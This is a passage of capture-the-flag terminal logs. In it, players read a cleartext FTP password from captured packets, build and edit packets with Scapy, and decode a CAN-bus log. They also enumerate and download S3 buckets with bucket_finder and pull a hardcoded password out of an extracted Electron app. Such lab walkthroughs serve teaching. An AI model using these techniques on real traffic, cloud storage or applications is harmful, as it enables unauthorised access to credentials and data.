 dataofs=5 reserved=0 flags=A window=17424 chksum=0x89fd urgptr=0 |>>>
>>> TCP_PACKETS[3]
<Ether  dst=00:16:ce:6e:8b:24 src=00:15:f2:40:76:ef type=IPv4 |<IP  version=4 ihl=5
 tos=0x0 len=70 id=10593 flags=DF frag=0 ttl=128 proto=tcp chksum=0x4ecd src=192.16
8.0.193 dst=192.168.0.114 |<TCP  sport=ftp dport=1137 seq=3334930754 ack=3753095935
 dataofs=5 reserved=0 flags=PA window=65535 chksum=0xd97d urgptr=0 |<Raw  load='220
 North Pole FTP Server\r\n' |>>>>
 >>> TCP_PACKETS[4]
<Ether  dst=00:15:f2:40:76:ef src=00:16:ce:6e:8b:24 type=IPv4 |<IP  version=4 ihl=5
 tos=0x0 len=55 id=42981 flags=DF frag=0 ttl=128 proto=tcp chksum=0xd057 src=192.16
8.0.114 dst=192.168.0.193 |<TCP  sport=1137 dport=ftp seq=3753095935 ack=3334930784
 dataofs=5 reserved=0 flags=PA window=17394 chksum=0xa98 urgptr=0 |<Raw  load='USER
 alabaster\r' |>>>>
>>> TCP_PACKETS[5]
<Ether  dst=00:16:ce:6e:8b:24 src=00:15:f2:40:76:ef type=IPv4 |<IP  version=4 ihl=5
 tos=0x0 len=77 id=10594 flags=DF frag=0 ttl=128 proto=tcp chksum=0x4ec5 src=192.16
8.0.193 dst=192.168.0.114 |<TCP  sport=ftp dport=1137 seq=3334930784 ack=3753095950
 dataofs=5 reserved=0 flags=PA window=65520 chksum=0x3d9c urgptr=0 |<Raw  load='331
 Password required for alabaster.\r' |>>>>
>>> TCP_PACKETS[6]
<Ether  dst=00:15:f2:40:76:ef src=00:16:ce:6e:8b:24 type=IPv4 |<IP  version=4 ihl=5
 tos=0x0 len=51 id=42982 flags=DF frag=0 ttl=128 proto=tcp chksum=0xd05a src=192.16
8.0.114 dst=192.168.0.193 |<TCP  sport=1137 dport=ftp seq=3753095950 ack=3334930821
 dataofs=5 reserved=0 flags=PA window=17357 chksum=0xe96b urgptr=0 |<Raw  load='PAS
S echo\r\n' |>>>>
>>> TCP_PACKETS[7]
<Ether  dst=00:16:ce:6e:8b:24 src=00:15:f2:40:76:ef type=IPv4 |<IP  version=4 ihl=5
 tos=0x0 len=70 id=10595 flags=DF frag=0 ttl=128 proto=tcp chksum=0x4ecb src=192.16
8.0.193 dst=192.168.0.114 |<TCP  sport=ftp dport=1137 seq=3334930821 ack=3753095961
 dataofs=5 reserved=0 flags=PA window=65509 chksum=0xd3 urgptr=0 |<Raw  load='230 U
ser alabaster logged in.\r' |>>>>
>> task.submit('echo')
Correct! Here is some really nice list comprehension that will grab all the raw pay
loads from tcp packets:
[pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]

The ICMP_PACKETS variable contains a packet list of several icmp echo-request and i
cmp echo-reply packets. Submit only the ICMP chksum value from the second packet in
 the ICMP_PACKETS list.

>>> ICMP_PACKETS[1][ICMP].chksum
19524
>>> task.submit(ICMP_PACKETS[1][ICMP].chksum)
Correct! You can access the ICMP chksum value from the second packet using ICMP_PAC
KETS[1][ICMP].chksum .

Submit the number of the choice below that would correctly create a ICMP echo reque
st packet with a destination IP of 127.0.0.1 stored in the variable named "pkt"
1. pkt = Ether(src='127.0.0.1')/ICMP(type="echo-request")
2. pkt = IP(src='127.0.0.1')/ICMP(type="echo-reply")
3. pkt = IP(dst='127.0.0.1')/ICMP(type="echo-request")

>>> task.submit(3)
Correct! Once you assign the packet to a variable named "pkt" you can then use that
 variable to send or manipulate your created packet.

Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.12
7.127. (all other packet attributes can be unspecified)

>>> pkt = IP(dst='127.127.127.127')/UDP(dport=5000)
>>> pkt
<IP  frag=0 proto=udp dst=127.127.127.127 |<UDP  dport=5000 |>>
>>> task.submit(pkt)
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="127.127.127.127")/UDP(dport=5000)
task.submit(pkt)

Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and 
is a DNS query with a qname of "elveslove.santa". (all other packet attributes can 
be unspecified)

>>> pkt = IP(dst='127.2.3.4')/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="elveslove.santa"))
>>> pkt
<IP  frag=0 proto=udp dst=127.2.3.4 |<UDP  sport=domain dport=domain |<DNS  rd=1 qd
=<DNSQR  qname='elveslove.santa' |> |>>>
>>> task.submit(pkt)
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="127.2.3.4")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="elveslove.santa"))
task.submit(pkt)

The variable ARP_PACKETS contains an ARP request and response packets. The ARP resp
onse (the second packet) has 3 incorrect fields in the ARP layer. Correct the secon
d packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKET
S) for inspection.

>>> ARP_PACKETS[0][ARP]
<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=who-has hwsrc=00:16:ce:6e:8b:24 psrc=
192.168.0.114 hwdst=00:00:00:00:00:00 pdst=192.168.0.1 |>

>> ARP_PACKETS[1]
<Ether  dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP  hwtype=0x1 ptyp
e=IPv4 hwlen=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192.168.0.1 hwdst=ff:ff:
ff:ff:ff:ff pdst=192.168.0.114 |<Padding  load='\xc0\xa8\x00r' |>>>
>>> ARP_PACKETS[1][ARP]
<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192
.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=192.168.0.114 |<Padding  load='\xc0\xa8\x00r'
 |>>
>>> ARP_PACKETS[1][ARP].op = 2
>>> ARP_PACKETS[1][ARP]
<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=ff:ff:ff:ff:ff:ff psrc=19
2.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=192.168.0.114 |<Padding  load='\xc0\xa8\x00r
' |>>
>>> ARP_PACKETS[1][ARP].hwdst = '00:16:ce:6e:8b:24'
>>> ARP_PACKETS[1][ARP]
<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=ff:ff:ff:ff:ff:ff psrc=19
2.168.0.1 hwdst=00:16:ce:6e:8b:24 pdst=192.168.0.114 |<Padding  load='\xc0\xa8\x00r
' |>>

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX00OkxxddcddxxkOO0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMWXOxoc:c.;cccccc.ccccc:.:c:ldxOXMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMXkoc',ccccc:.:ccccc.ccccc.;cccc,'::cdOXMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMM0xc:cccc,':cccc::ccccccccccccccc:.;cccccc:lxXMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMNkl,',:ccccc;;ccccccccccccccccccccc::cccccc:,',:lOWMMMMMMMMMMMMM
MMMMMMMMMMMMNxccccc;';cccccccccccccccccccccccccccccccccc;':cccccckWMMMMMMMMMMM
MMMMMMMMMMNdcccccc:..;cccccccccccccccccccccccccccccccccccccccccccc:kWMMMMMMMMM
MMMMMMMMM0c,,,,:cccc;..;cccccccccccccccccccccccccccccccccccccc:,,,;:lKMMMMMMMM
MMMMMMMWd:cccc;:cccccc;..,cccccccccccccccccccccccccccccccccccc;:cccccckMMMMMMM
MMMMMMNlcccccccccccccccc:..,:ccccccccccccccccccccccccccccccccccccccccc:oWMMMMM
MMMMMNc,,,,,:ccccccccccccc:..':cccccccccccccccccccccccccccccccccc:,,,,,;oWMMMM
MMMMWoccccc::ccccccccccccccc:'.':cccccccccccccccccccccccccccccccc::ccccccxMMMM
MMMMkccccccccccccccccccccccccc:'..:cccccccccccccccccccccccccccccccccccccc:0MMM
MMMN::cccccccccccccccccccccccccc:'..:cccccccccccccccccccccccccccccccccccc:cWMM
MMMk,,,,,:cccccccccccccccccccccccc:,..;ccccccccccccccccccccccccccccc:,,,,,;0MM
MMMlccccccccccccccccccccccccccccccccc,.;cccccccccccccccccccccccccccccccccccdMM
MMW:ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccclMM
MMWOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0MM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM

elf@7d5eb44417d6:~$ ls
candump.log  runtoanswer

elf@ed2cf453eaf7:~$ head -50 candump.log 
(1608926660.800530) vcan0 244#0000000116
(1608926660.812774) vcan0 244#00000001D3
(1608926660.826327) vcan0 244#00000001A6
(1608926660.839338) vcan0 244#00000001A3
(1608926660.852786) vcan0 244#00000001B4
(1608926660.866754) vcan0 244#000000018E
(1608926660.879825) vcan0 244#000000015F
(1608926660.892934) vcan0 244#0000000103
(1608926660.904816) vcan0 244#0000000181
(1608926660.920799) vcan0 244#000000015F
(1608926660.934338) vcan0 244#0000000173
(1608926660.946952) vcan0 244#0000000183
(1608926660.962926) vcan0 244#0000000149
(1608926660.970738) vcan0 188#00000000
(1608926660.977487) vcan0 244#00000001E0
(1608926660.989792) vcan0 244#00000001D6
(1608926661.002690) vcan0 244#0000000145
(1608926661.018189) vcan0 244#00000001E9
(1608926661.031261) vcan0 244#00000001F9
(1608926661.042719) vcan0 244#0000000185
(1608926661.053863) vcan0 244#00000001AB
(1608926661.066551) vcan0 244#00000001E0
(1608926661.079120) vcan0 244#0000000157
(1608926661.092179) vcan0 244#00000001BD
(1608926661.105503) vcan0 244#0000000188
(1608926661.120710) vcan0 244#0000000189
(1608926661.133553) vcan0 244#00000001C0
(1608926661.145725) vcan0 244#000000019E
(1608926661.158666) vcan0 244#00000001E3
(1608926661.173070) vcan0 244#0000000123
(1608926661.184569) vcan0 244#00000001FC
(1608926661.195901) vcan0 244#00000001C0
(1608926661.209364) vcan0 244#0000000155
(1608926661.220631) vcan0 244#00000001EB
(1608926661.233510) vcan0 244#0000000182
(1608926661.245964) vcan0 244#0000000195
(1608926661.258201) vcan0 244#000000013B
(1608926661.271293) vcan0 244#000000012B
(1608926661.285172) vcan0 244#0000000191
(1608926661.297488) vcan0 244#000000015A
(1608926661.309332) vcan0 244#0000000148
(1608926661.322653) vcan0 244#000000018E
(1608926661.336724) vcan0 244#00000001EA
(1608926661.348576) vcan0 244#00000001E7
(1608926661.361548) vcan0 244#0000000174
(1608926661.373583) vcan0 244#0000000167
(1608926661.385352) vcan0 244#0000000159
(1608926661.400643) vcan0 244#00000001D5
(1608926661.413712) vcan0 244#00000001ED
(1608926661.426704) vcan0 244#000000016F

(1608926664.626448) vcan0 19B#000000000000

elf@7d5eb44417d6:~$ cat candump.log | grep -i 19b#
(1608926664.626448) vcan0 19B#000000000000
(1608926671.122520) vcan0 19B#00000F000000
(1608926674.092148) vcan0 19B#000000000000

elf@7d5eb44417d6:~$ ./runtoanswer 122520
Your answer: 122520
Checking....
Your answer is correct!

elf@dc0a7544ae94:~$ cat TIPS 
# TIPS
- If you need an editor to create a file you can run nano (vim is also
  available).
- Everything you need to solve this challenge is provided in this terminal
  session.

elf@dc0a7544ae94:~/bucket_finder$ cat wordlist 
kringlecastle
wrapper
santa

elf@dc0a7544ae94:~/bucket_finder$ ./bucket_finder.rb --help
bucket_finder 1.0 Robin Wood (robin@digininja.org) (www.digininja.org)
Usage: bucket_finder [OPTION] ... wordlist
        --help, -h: show help
        --download, -d: download the files
        --log-file, -l: filename to log output to
        --region, -r: the region to use, options are:
                                        us - US Standard
                                        ie - Ireland
                                        nc - Northern California
                                        si - Singapore
                                        to - Tokyo
        -v: verbose
        wordlist: the wordlist to use

http://s3.amazonaws.com/kringlecastle
Bucket found but access denied: kringlecastle
http://s3.amazonaws.com/wrapper
Bucket found but access denied: wrapper
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/
        Bucket found but access denied: santa
http://s3-eu-west-1.amazonaws.com/kringlecastle
Bucket kringlecastle redirects to: s3.amazonaws.com
http://s3.amazonaws.com/
http://s3-eu-west-1.amazonaws.com/wrapper
Bucket wrapper redirects to: s3.amazonaws.com
http://s3.amazonaws.com/
http://s3-eu-west-1.amazonaws.com/santa
Bucket santa redirects to: santa.s3-us-west-1.amazonaws.com
http://santa.s3-us-west-1.amazonaws.com/
        Bucket found but access denied: santa
http://s3-us-west-1.amazonaws.com/kringlecastle
Bucket kringlecastle redirects to: s3.amazonaws.com
http://s3.amazonaws.com/
http://s3-us-west-1.amazonaws.com/wrapper
Bucket wrapper redirects to: s3.amazonaws.com
http://s3.amazonaws.com/
http://s3-us-west-1.amazonaws.com/santa
Bucket found but access denied: santa
http://s3-ap-southeast-1.amazonaws.com/kringlecastle
Bucket kringlecastle redirects to: s3.amazonaws.com
http://s3.amazonaws.com/
http://s3-ap-southeast-1.amazonaws.com/wrapper
Bucket wrapper redirects to: s3.amazonaws.com
http://s3.amazonaws.com/
http://s3-ap-southeast-1.amazonaws.com/santa
Bucket santa redirects to: santa.s3-us-west-1.amazonaws.com
http://santa.s3-us-west-1.amazonaws.com/
        Bucket found but access denied: santa
http://s3-ap-northeast-1.amazonaws.com/kringlecastle
Bucket kringlecastle redirects to: s3.amazonaws.com
http://s3.amazonaws.com/
http://s3-ap-northeast-1.amazonaws.com/wrapper
Bucket wrapper redirects to: s3.amazonaws.com
http://s3.amazonaws.com/
http://s3-ap-northeast-1.amazonaws.com/santa
Bucket santa redirects to: santa.s3-us-west-1.amazonaws.com
http://santa.s3-us-west-1.amazonaws.com/
        Bucket found but access denied: santa

elf@dc0a7544ae94:~/bucket_finder$ ./bucket_finder.rb -d -r us wordlist 
http://s3.amazonaws.com/kringlecastle
Bucket found but access denied: kringlecastle
http://s3.amazonaws.com/wrapper
Bucket found but access denied: wrapper
http://s3.amazonaws.com/santa
Bucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/
        Bucket found but access denied: santa
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
        <Downloaded> http://s3.amazonaws.com/wrapper3000/package

elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ file package 
package: ASCII text, with very long lines

elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ cat package 
UEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQudGFyLmJ6MlVUCQA
DoBfKX6AXyl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBxDwf/xe0gQAAA
gwAVmkYRTKe1PVM9U0ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA0eo9IaHqBk
xw2YZK2NUASOegDIzwMXMHBCFACgIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/gWKKc0Vs
2DXkzeJmiktINqjo3JjKAA4dLgLtPN15oADLe80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWtnNqCTE
DML9AK7HHSzyyBYKwCFBVJh17T636a6YgyjX0eE0IsCbjcBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm5ayP
HUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst2QedSxZ851ceDQexsLsJ3C89Z/gQ6Xn6KBKqFsKyT
kaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNPxHJFqJ3t32Vjgn/OGdQJiIHv4u5IpwoSG0
lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAAAKSBAAAAAHBhY2thZ2UudHh0Llo
ueHoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAAEAAQBiAAAA9QEAAAAA

elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ cat package | base64 -d
PK
??��   package.txt.Z.xz.xxd.tar.bz2UT  ��_��_ux
                                                   �BZh91AY&SY�Kb�����d���/
� �^0Y�a�{S�3�4zC ښ  �=C�?���#��h=M4!&&�y@h4m#��P4z�Hhz��6a��5@9�#<
                                                                          \�P��/Cbk
��y��㇭O�t<
h)[�sR)�/���Ӄ?�b�sEl�5���f�KH6��ܘ�  .�<�y��{�-���^h�"  ��ݮƇQ'�́s�&ֶsj   10�@+��K<�
�PU&{O��k� �5�xM�&�p >
���Z���x�/=g��y�(�²NF�;�E�b&�r�&C�݁���+��      ��F�"�4�G$Z����V8'��@���.�p�!���~PK
??��  ?��package.txt.Z.xz.xxd.tar.bz2UT��_ux
                                               �PKb�

elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ file package.txt.Z.xz.xxd.tar.bz2 
package.txt.Z.xz.xxd.tar.bz2: Zip archive data, at least v1.0 to extract
elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ unzip package.txt.Z.xz.xxd.tar.bz2 
Archive:  package.txt.Z.xz.xxd.tar.bz2
replace package.txt.Z.xz.xxd.tar.bz2? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
 extracting: package.txt.Z.xz.xxd.tar.bz2 

elf@9b7954a38d40:~/bucket_finder/wrapper3000$ file package.txt.Z.xz.xxd.tar.bz2 
package.txt.Z.xz.xxd.tar.bz2: bzip2 compressed data, block size = 900k
elf@9b7954a38d40:~/bucket_finder/wrapper3000$ bzip2 -d package.txt.Z.xz.xxd.tar.bz2

elf@9b7954a38d40:~/bucket_finder/wrapper3000$ file package.txt.Z.xz.xxd.tar    
package.txt.Z.xz.xxd.tar: POSIX tar archive
elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ tar -xf package.txt.Z.xz.xxd.tar 

elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ file package.txt.Z.xz.xxd
package.txt.Z.xz.xxd: ASCII text
elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ cat package.txt.Z.xz.xxd
00000000: fd37 7a58 5a00 0004 e6d6 b446 0200 2101  .7zXZ......F..!.
00000010: 1600 0000 742f e5a3 0100 2c1f 9d90 4ede  ....t/....,...N.
00000020: c8a1 8306 0494 376c cae8 0041 054d 1910  ......7l...A.M..
00000030: 46e4 bc99 4327 4d19 8a06 d984 19f3 f08d  F...C'M.........
00000040: 1b10 45c2 0c44 a300 0000 0000 c929 dad6  ..E..D.......)..
00000050: 64ef da24 0001 452d 1e52 57e8 1fb6 f37d  d..$..E-.RW....}
00000060: 0100 0000 0004 595a                      ......YZ

elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ xxd -r package.txt.Z.xz.xxd package.txt.Z.xz

elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ file package.txt.Z.xz
package.txt.Z.xz: XZ compressed data
elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ xz -d package.txt.Z.xz

elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ file package.txt.Z
package.txt.Z: compress'd data 16 bits
elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ uncompress package.txt.Z

elf@9b7954a38d40:~/bucket_finder/wrapper3000$ file package.txt
package.txt: ASCII text
elf@dc0a7544ae94:~/bucket_finder/wrapper3000$ cat package.txt
North Pole: The Frostiest Place on Earth

timothyl@neptune:~/.wine/drive_c$ find . | grep -i asar
./users/timothyl/Local Settings/Application Data/Programs/santa-shop/resources/app.asar

timothyl@neptune:~/.wine/drive_c/users/timothyl/Local Settings/Application Data/Programs/santa-shop/resources$ asar --help
Usage: asar [options] [command]

Manipulate asar archive files

Options:
  -V, --version                         output the version number
  -h, --help                            display help for command

Commands:
  pack|p [options] <dir> <output>       create asar archive
  list|l [options] <archive>            list files of asar archive
  extract-file|ef <archive> <filename>  extract one file from archive
  extract|e <archive> <dest>            extract archive
  *
  help [command]                        display help for command

timothyl@neptune:~/.wine/drive_c/users/timothyl/Local Settings/Application Data/Programs/santa-shop/resources$ asar extract app.asar santa_shop/

timothyl@neptune:~/.wine/drive_c/users/timothyl/Local Settings/Application Data/Programs/santa-shop/resources/santa_shop$ ls -la
total 44
drwxrwxr-x 3 timothyl timothyl 4096 Jan  2 02:09 .
drwxrwxr-x 3 timothyl timothyl 4096 Jan  2 02:07 ..
drwxrwxr-x 2 timothyl timothyl 4096 Jan  2 02:09 img
-rw-rw-r-- 1 timothyl timothyl 1284 Jan  2 02:09 index.html
-rw-rw-r-- 1 timothyl timothyl 2713 Jan  2 02:09 main.js
-rw-rw-r-- 1 timothyl timothyl  202 Jan  2 02:09 package.json
-rw-rw-r-- 1 timothyl timothyl  138 Jan  2 02:09 preload.js
-rw-rw-r-- 1 timothyl timothyl   79 Jan  2 02:09 README.md
-rw-rw-r-- 1 timothyl timothyl 5984 Jan  2 02:09 renderer.js
-rw-rw-r-- 1 timothyl timothyl 3801 Jan  2 02:09 style.css

timothyl@neptune:~/.wine/drive_c/users/timothyl/Local Settings/Application Data/Programs/santa-shop/resources/santa_shop$ grep -i password main.js
const SANTA_PASSWORD = 'santapass';
ipcMain.handle('unlock', (event, password) => {
  return (password === SANTA_PASSWORD);

timothyl@neptune:~/.wine/drive_c/users/timothyl/Local Settings/Application Data/Programs/santa-shop/resources/santa_shop$ cat README.md 
Remember, if you need to change Santa's passwords, it's at the top of main.js!